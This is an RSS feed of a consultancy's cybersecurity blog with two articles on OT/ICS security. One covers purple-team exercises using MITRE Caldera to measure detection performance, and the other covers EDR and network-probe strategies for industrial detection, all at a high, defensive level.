<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Arnaud Soullié, Auteur</title>
	<atom:link href="https://www.riskinsight-wavestone.com/en/author/arnaud-soullie/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/author/arnaud-soullie/</link>
	<description>The cybersecurity &#38; digital trust blog by Wavestone&#039;s consultants</description>
	<lastBuildDate>Wed, 10 Dec 2025 15:40:16 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>Arnaud Soullié, Auteur</title>
	<link>https://www.riskinsight-wavestone.com/author/arnaud-soullie/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Purple Teaming for OT:  How to switch from a compliance to a performance mindset?</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/12/purple-teaming-for-ot-how-to-switch-from-a-compliance-to-a-performance-mindset/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/12/purple-teaming-for-ot-how-to-switch-from-a-compliance-to-a-performance-mindset/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Wed, 10 Dec 2025 15:40:14 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[IoT & Consumer goods]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=28481</guid>

					<description><![CDATA[<p>In our previous articles of this OT cybersecurity monitoring series (Cybersecurity monitoring for OT / Cybersecurity tooling strategy), we explained the current state of OT detection capabilities and discussed the right tooling strategy.  This third article focuses on a key question: how do you measure the efficiency of...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/12/purple-teaming-for-ot-how-to-switch-from-a-compliance-to-a-performance-mindset/">Purple Teaming for OT:  How to switch from a compliance to a performance mindset?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p><span data-contrast="auto">In our previous articles of this OT cybersecurity monitoring series (</span><a href="https://www.riskinsight-wavestone.com/en/2025/09/cybersecurity-monitoring-for-ot-current-situation-perspectives/"><span data-contrast="none">Cybersecurity monitoring for OT</span></a><span data-contrast="auto"> / </span><a href="https://www.riskinsight-wavestone.com/en/2025/10/cybersecurity-tooling-strategy-for-an-effective-industrial-detection/"><span data-contrast="none">Cybersecurity tooling strategy</span></a><span data-contrast="auto">), we explained the current state of OT detection capabilities and discussed the right tooling strategy.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><span data-contrast="auto">This third article focuses on a key question: </span><b><span data-contrast="auto">how do you measure the efficiency of your OT detection?</span></b><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<h1 aria-level="1"><span data-contrast="none">From compliance to efficiency: a KPI paradigm shift</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:360,&quot;335559739&quot;:80}"> </span></h1>
<p><span data-contrast="auto">KPI stands for </span><i><span data-contrast="auto">Key Performance Indicator. </span></i><span data-contrast="auto">However, we tend to create KPIs to monitor progress against our plans, not real performance. While useful, monitoring only deployment or coverage (number of sites connected to the SOC, EDR deployment on OT machines, number of probes registered to the management console) </span><b><span data-contrast="auto">tells you very little about the actual ability of your SOC to detect a real attacker.</span></b><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><span data-contrast="auto">So, how confident are you in your detection tools, use cases, and processes? The only way to be sure is simple: </span><b><span data-contrast="auto">test them. </span></b><span data-contrast="auto">And the best way to test them is through </span><b><span data-contrast="auto">Purple Team exercises</span></b><span data-contrast="auto">.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<h1 aria-level="1">What is Purple Teaming in OT? </h1>
<p><span data-contrast="auto">A Purple Team exercise is a </span><b><span data-contrast="auto">collaborative mission</span></b><span data-contrast="auto"> between the Red Team (attackers) and the Blue Team (defenders). Unlike a traditional Red Team assessment, where the defenders are kept in the dark and evaluated afterward, </span><b><span data-contrast="auto">a Purple Team exercise is an iterative, joint effort</span></b><span data-contrast="auto">.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><span data-contrast="auto">This collaborative approach allows both teams to:</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><span data-contrast="auto">Share assumptions about the OT environment</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Validate detection logic in real time</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Understand blind spots</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Improve playbooks and detection pipelines</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Align everyone around a realistic threat model</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<h1 aria-level="2">Performing a Purple Team Exercise </h1>
<p><span data-contrast="auto">A Purple Team operation can be summarized in </span><b><span data-contrast="auto">three main phases</span></b><span data-contrast="auto">:</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<h2>1. Preparation</h2>
<p><span data-contrast="auto">The preparation phase is often the most challenging, especially in OT environments, where safety, process continuity, and vendor constraints must be considered.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><span data-contrast="auto">Depending on the maturity of the organization, preparation can range from basic to highly sophisticated:</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><b><span data-contrast="auto">Unit Tests</span></b> <br /><span data-contrast="auto">Small, isolated tests of specific detection rules (e.g., “Detect Modbus function code 90”).</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Feared Scenario-based Testing</span></b> <br /><span data-contrast="auto">Build scenarios around the organization’s crown jewels and failure modes (e.g., “Unauthorized remote program upload on a PLC controlling a critical process”).</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">CTI-Infused Testing</span></b> <br /><span data-contrast="auto">Integrate threat intelligence: test techniques used by real OT-focused attackers (e.g. TTPs from Volt Typhoon, Sandworm, Xenotime, or ransomware groups targeting industrial environments).</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">To structure the preparation phase, two elements are essential:</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><b><span data-contrast="auto">A good knowledge of your OT environment</span></b> <br /><span data-contrast="auto">Planning an exercise that will be relevant to both the business risks &amp; OT detection without impacting the process requires a deep knowledge of the site and its automation.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Mapping to the </span></b><a href="https://attack.mitre.org/matrices/ics/"><b><span data-contrast="none">MITRE ATT&amp;CK for ICS matrix</span></b></a> <br /><span data-contrast="auto">Mapping your tests to the ATT&amp;CK matrix allows you to have a common language with the detection teams. This allows you to select relevant techniques, avoid blind spots, and ensure coverage across multiple layers: OT workstations, PLCs, network interactions, engineering actions…</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<h2>2. D-day (Execution)</h2>
<p><span data-contrast="auto">Execution is performed jointly:</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><span data-contrast="auto">The Red Team launches controlled and authorized actions</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">The Blue Team monitors detections in real time</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Both teams adjust, document, and validate findings as the exercise unfolds</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">Depending on the scope and complexity of the tests, the Purple Team operation can last from a few hours to a few days.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<h3 aria-level="4"><i><span data-contrast="none">Ensuring Reproducibility with Caldera</span></i><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:80,&quot;335559739&quot;:40}"> </span></h3>
<p><span data-contrast="auto">To ensure repeatability and consistency across Purple Team exercises, automation becomes key.  </span><a href="https://www.mitre.org/resources/caldera-ot"><b><span data-contrast="none">Caldera</span></b></a><span data-contrast="auto">, an open-source Breach &amp; Attack Simulation (BAS) framework developed by MITRE, is a powerful tool for this.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><span data-contrast="auto">As a former pentester, I’ve always disliked the term “automated pentest”—but BAS tools are the closest thing we have to repeatable, safe attack execution.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<h3 aria-level="5"><em>Why use Caldera instead of performing tests manually? </em></h3>
<p><span data-contrast="auto">Caldera enables you to:</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><span data-contrast="auto">Prepare and validate a controlled list of tests on a controlled list of assets</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Ensure only authorized actions are executed</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Guarantee reproducibility across environments</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Replay the exact same actions to measure improvements after configuration changes</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">Some OT-specific plugins already exist in the </span><b><span data-contrast="auto">Caldera-OT</span></b><span data-contrast="auto"> module, supporting Modbus, Profinet, DNP3, and others.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><span data-contrast="auto">Recently, Wavestone released two additional OT plugins:</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><b><span data-contrast="auto">Siemens S7 protocol support</span></b><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">OPC-UA communications actions</span></b><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<h3 aria-level="5"><em>Caldera in a nutshell </em></h3>
<p><span data-contrast="auto">Caldera usage relies on:</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><b><span data-contrast="auto">Abilities</span></b><span data-contrast="auto">: atomic technical actions (e.g., reading coils, writing tags, scanning a PLC)</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Adversaries</span></b><span data-contrast="auto">: collections of abilities that form a scenario</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Operations</span></b><span data-contrast="auto">: real-time execution of those adversaries against a target</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<p><b><span data-contrast="auto">Fact sources</span></b><span data-contrast="auto">: parameters provided for an operation; you can launch the same operations against different environments by just changing the fact source.</span><span data-ccp-props="{&quot;335559685&quot;:720}"> </span></p>
<p><span data-contrast="auto">The following video (French with English subtitles) will walk you through a demonstration of Caldera on our small ICS demo setup:</span> </p>
<div align="center"><iframe title="YouTube video player" src="//www.youtube.com/embed/wq8BMagjhwE" width="800" height="450" frameborder="0" allowfullscreen="allowfullscreen" data-mce-fragment="1"></iframe></div>
<div align="center"> </div>
<h2>3. Debriefing</h2>
<p><span data-contrast="auto">The debrief is where most of the value is extracted. The following types of </span><i><span data-contrast="auto">Key Performance Indicators</span></i><span data-contrast="auto"> might be used:</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><b><span data-contrast="auto">Detection Coverage</span></b><span data-contrast="auto"> – what percentage of executed stimuli were detected?</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Alert Quality</span></b><span data-contrast="auto"> – were alerts actionable, precise, and intelligible?</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Reaction Time</span></b><span data-contrast="auto"> – how long before an alert is raised and acknowledged?</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Playbook Efficiency</span></b><span data-contrast="auto"> – were the right actions taken in the expected time frame?</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">These might phase results in:</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><span data-contrast="auto">Updated detection rules</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Improved SIEM/SOC playbooks</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Better monitoring architecture</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Training material for analysts and engineers</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<h1 aria-level="1"><span data-contrast="none">Start Testing Now!</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:360,&quot;335559739&quot;:80}"> </span></h1>
<p><span data-contrast="auto">Purple Team testing brings value immediately, no matter what your current maturity level is:</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><span data-contrast="auto">It validates your tools in real-world conditions</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">It trains your SOC and OT teams</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">It reveals blind spots early in the program</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">It provides quantitative KPIs to drive detection improvements</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">And yes, </span><b><span data-contrast="auto">it is possible, in most production environments, under the following conditions</span></b><span data-contrast="auto">:</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><span data-contrast="auto">Strictly controlled scope</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Vendor-approved actions</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">No disruptive functions executed</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Involvement of operations and safety teams</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Continuous monitoring of system behavior during testing</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">In short: </span><b><span data-contrast="auto">start small, stay safe, and iterate.</span></b><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><b><span data-contrast="auto">Do not wait for your OT security program to be “finished” before you start testing its effectiveness!</span></b><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/12/purple-teaming-for-ot-how-to-switch-from-a-compliance-to-a-performance-mindset/">Purple Teaming for OT:  How to switch from a compliance to a performance mindset?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/12/purple-teaming-for-ot-how-to-switch-from-a-compliance-to-a-performance-mindset/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cybersecurity tooling strategy for an effective industrial detection</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/10/cybersecurity-tooling-strategy-for-an-effective-industrial-detection/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/10/cybersecurity-tooling-strategy-for-an-effective-industrial-detection/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Thu, 30 Oct 2025 13:32:52 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=28068</guid>

					<description><![CDATA[<p>Detection within industrial environment In a previous article: Cybersecurity monitoring for OT, Current situation &#38; perspectives we have seen that OT, while overall less impacted than IT, is not exempt from cyberthreats &#38; not immune to cyberattacks. But, due to...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/10/cybersecurity-tooling-strategy-for-an-effective-industrial-detection/">Cybersecurity tooling strategy for an effective industrial detection</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1>Detection within industrial environment</h1>
<p><span class="TextRun SCXW3808787 BCX0" lang="EN-US" xml:lang="EN-US" data-contrast="auto"><span class="NormalTextRun CommentStart SCXW3808787 BCX0">In </span><span class="NormalTextRun SCXW3808787 BCX0">a previous</span><span class="NormalTextRun SCXW3808787 BCX0"> article: </span></span><a class="Hyperlink SCXW3808787 BCX0" href="https://www.riskinsight-wavestone.com/en/2025/09/cybersecurity-monitoring-for-ot-current-situation-perspectives/" target="_blank" rel="noreferrer noopener"><span class="TextRun Underlined SCXW3808787 BCX0" lang="EN-US" xml:lang="EN-US" data-contrast="none"><span class="NormalTextRun SCXW3808787 BCX0" data-ccp-charstyle="Hyperlink">Cybersecurity monitoring for OT, Current situation &amp; perspectives</span></span></a><span class="TextRun SCXW3808787 BCX0" lang="EN-US" xml:lang="EN-US" data-contrast="auto"><span class="NormalTextRun SCXW3808787 BCX0"> w</span><span class="NormalTextRun SCXW3808787 BCX0">e have seen that </span><span class="NormalTextRun SCXW3808787 BCX0">OT</span><span class="NormalTextRun SCXW3808787 BCX0">, while overall less impacted than IT, is not exempt from cyberthreats &amp; not immune to cyberattacks</span><span class="NormalTextRun SCXW3808787 BCX0">. B</span><span class="NormalTextRun SCXW3808787 BCX0">ut</span><span class="NormalTextRun SCXW3808787 BCX0">,</span><span class="NormalTextRun SCXW3808787 BCX0"> d</span><span class="NormalTextRun SCXW3808787 BCX0">ue to the difficulty in updating legacy Industrial Control Systems (ICS), cybersecurity measures are often added after deployment. </span><span class="NormalTextRun SCXW3808787 BCX0">Continuous monitoring is seen as a practical substitute for built-in, cyber-by-design </span><span class="NormalTextRun SCXW3808787 BCX0">protection.</span></span><span class="EOP SCXW3808787 BCX0" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p>When it comes to monitoring tooling, we observed that 100% of our clients have detection tools deployed on the IT side of industrial sites. But only one-third extend monitoring down to the lower layers of the industrial environment:</p>
<p><img fetchpriority="high" decoding="async" class=" wp-image-28077 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN1.png" alt="" width="733" height="526" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN1.png 1051w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN1-266x191.png 266w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN1-54x39.png 54w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN1-768x551.png 768w" sizes="(max-width: 733px) 100vw, 733px" /></p>
<p>There is a large variety of detection sources allowing monitoring across different levels of the Purdue model:</p>
<ul>
<li>Firewalls (including industrial firewalls)</li>
<li>Endpoint protection (AV, application whitelisting, EPP, EDR etc.)</li>
<li>Authentication and access logs (e.g., Active Directory, local authentication)</li>
<li>Remote access logs (e.g., VPN, jump servers, bastion)</li>
<li>Deceptive technologies (e.g., honeypots or decoys)</li>
<li>Network detection and monitoring probes (listening industrial networks)</li>
<li>Logs from media sanitization or data transfer stations (e.g., USB kiosks)</li>
<li>Industrial logs (from SCADA, HMI, PLC … when available)</li>
</ul>
<p>Traditionally, these logs are collected and analyzed by SIEM and/or SOAR solutions, with or without specific OT detection patterns, and should enable the SOC team to detect, investigate, and respond to security events.</p>
<p>Building a consistent detection strategy for OT environments does not require collecting data from every possible source. In fact, a few well-chosen, <strong>properly configured, and actively monitored sources can provide strong visibility and early detection capabilities</strong>. The key is to focus on data sources that are both relevant to the specific OT architecture and feasible to monitor without disrupting operations. Prioritizing quality and operational relevance over quantity ensures a more effective and sustainable cybersecurity posture.</p>
<h1>How to get the most of detection sources?</h1>
<h2>Start with logs you already have</h2>
<p>A pragmatic and cost-effective way to approach OT detection is to <strong>start by leveraging the logs and detection patterns already available</strong> within the industrial environment, particularly those already exploited for your IT environments. For example, <strong>firewall logs</strong>, especially those monitoring IT/OT boundaries, can provide valuable insights into network traffic patterns, segmentation breaches, or suspicious remote access attempts. Similarly, Active Directory (AD) logs can reveal abnormal user behavior, failed authentication attempts, or privilege escalations — all of which are critical signals in both IT and OT contexts. Leveraging these existing sources allows organizations to build initial detection capabilities without heavy investment, while laying a solid foundation for more advanced monitoring in the future.</p>
<p>Rather than starting with deploying complex OT-specific detection tools, organizations should <strong>build initial detection capabilities using what is already deployed, configured, and understood</strong>. This not only reduces costs but accelerates implementation across industrial sites. The goal is to <strong>ensure a consistent baseline of visibility</strong> across critical applications, systems, and infrastructure before diving deeper.</p>
<p>By starting with what you already have, and focusing on <strong>coverage, not complexity</strong>, organizations can address OT detection with speed, relevance, and operational realism, while setting the stage for more advanced capabilities down the line.</p>
<p>We will now focus on the two detection tools most widely adopted and discussed in industrial environments today: <strong>EDR solutions</strong> and <strong>OT network detection probes</strong>.<br />In the following sections, we will examine how to leverage these solutions effectively and outline our recommendations.</p>
<h3>EDR</h3>
<p><strong>Endpoint Detection &amp; Response </strong>solutions provide continuous monitoring and analysis of endpoint activities to detect, investigate, and respond to cyber threats in real time. EDR collects detailed data such as process execution, file changes, network connections, and user behavior. By leveraging behavioral analytics and threat intelligence, EDR tools can identify suspicious activities like malware infections, lateral movement, or privilege escalation.</p>
<p>This detection tool, widely used and popularized in IT environments, is now being adopted by most of our clients for deployment within their industrial environments, driven by the evolution of deployment models, the broader coverage of operating systems, and the improved performance of detection models in increasingly complex environments.</p>
<p>However, this does not mean that 100% of OT devices are compatible with EDR solutions. In fact, <strong>EDR compatibility varies significantly across different industrial systems</strong> due to their diversity and operational constraints. EDR deployment is generally straightforward on higher levels of the Purdue model, such as Layer 3 and Layer 3.5, where systems resemble traditional IT environments like servers and workstations. At Layer 2, implementation requires careful evaluation with vendors support and testing, as devices and protocols become more specialized and resource constrained. Finally, at the lowest levels, controllers, PLCs, and field devices, EDR is generally not viable due to limited processing capacity, proprietary operating systems, and real-time performance requirements.</p>
<p><img decoding="async" class="size-full wp-image-28079 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN2.png" alt="" width="1252" height="489" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN2.png 1252w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN2-437x171.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN2-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN2-768x300.png 768w" sizes="(max-width: 1252px) 100vw, 1252px" /></p>
<p>For environments that support it, extending EDR coverage allows to:</p>
<ul>
<li>Address low maturity: Start with tools that are easier to implement and require less maturity.</li>
<li>Broad coverage: Focus on quickly covering a wide range of systems, sites, and critical applications.</li>
<li>Leverage IT tools: Use IT-based solutions like EDR for effective detection without heavy infrastructure requirements.</li>
</ul>
<p>To conclude, <strong>deploying EDR Agents on OT Servers and Workstations</strong> is becoming increasingly relevant, and a <strong>quick win for OT detection</strong>, according to our clients’ feedback.</p>
<h3>OT Probes</h3>
<p>A <a href="https://www.riskinsight-wavestone.com/en/2024/10/detection-probes-for-ot-the-keys-to-a-successful-deployment/">detection probe</a> is a piece of equipment, virtual or physical, connected to the information system in order to map and monitor it. It consists of sensors distributed across the network to collect data. And typically, a central console to aggregate, correlate and analyze this data.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-24238 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-092737.png" alt="" width="1309" height="248" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-092737.png 1309w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-092737-437x83.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-092737-71x13.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-092737-768x146.png 768w" sizes="auto, (max-width: 1309px) 100vw, 1309px" /></p>
<p>Probes for industrial environments, which we will refer to simply as OT probes here, are characterized by their passive, non-invasive listening on the network, and their understanding of industrial protocols and behavior. All their probe solutions work on the same principle: network traffic is collected using flow duplication (SPAN, ERSPAN …) or physical duplicator like taps, etc. Packets are inspected in real time to provide several types of data: flow inventory and mapping, asset and vulnerability management, and finally anomaly and incident detection. OT probes promises wide detection capabilities and variety of possible cases of these data. The features and types of users involved (operational and business team, cybersecurity team, etc.) is what makes OT probes so popular. </p>
<p>However, our clients often face <strong>significant challenges when it comes to deploying</strong> these probes and effectively leveraging them for detection at scale.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-28081 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN3-e1761750642650.png" alt="" width="1276" height="482" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN3-e1761750642650.png 1276w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN3-e1761750642650-437x165.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN3-e1761750642650-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_EN3-e1761750642650-768x290.png 768w" sizes="auto, (max-width: 1276px) 100vw, 1276px" /></p>
<p>Here are a few common pain points when deploying OT probes:</p>
<ul>
<li><strong>Industrial site network capabilities and resources</strong>: Deploying OT probes often presents significant challenges due to the limitations of industrial network infrastructure. Network taps and SPAN ports on switches, commonly used for traffic monitoring, are not always manageable or available in OT environments, which limits options for passive traffic capture. Additionally, the costs associated with installing dedicated network taps can be prohibitive, especially across distributed and remote industrial sites. Moreover, deploying and maintaining probes requires skilled resources on-site.</li>
<li>OT probes collect and correlate information through network traffic capture. To be effective, their deployment requires carefully selecting listening points based on the intended targets. Listening points need to be tailored to each site architecture, often limited by local team knowledge and lack of documentation. Moreover, because industrial environments vary between different sites within the same organization, it is very difficult to establish a one-size-fits-all blueprint. In some architectures, achieving comprehensive asset coverage may require deploying dozens of collection points. As a result, selecting and configuring listening points is a repetitive, iterative process that must be adapted for each location to ensure optimal visibility and detection capabilities.</li>
</ul>
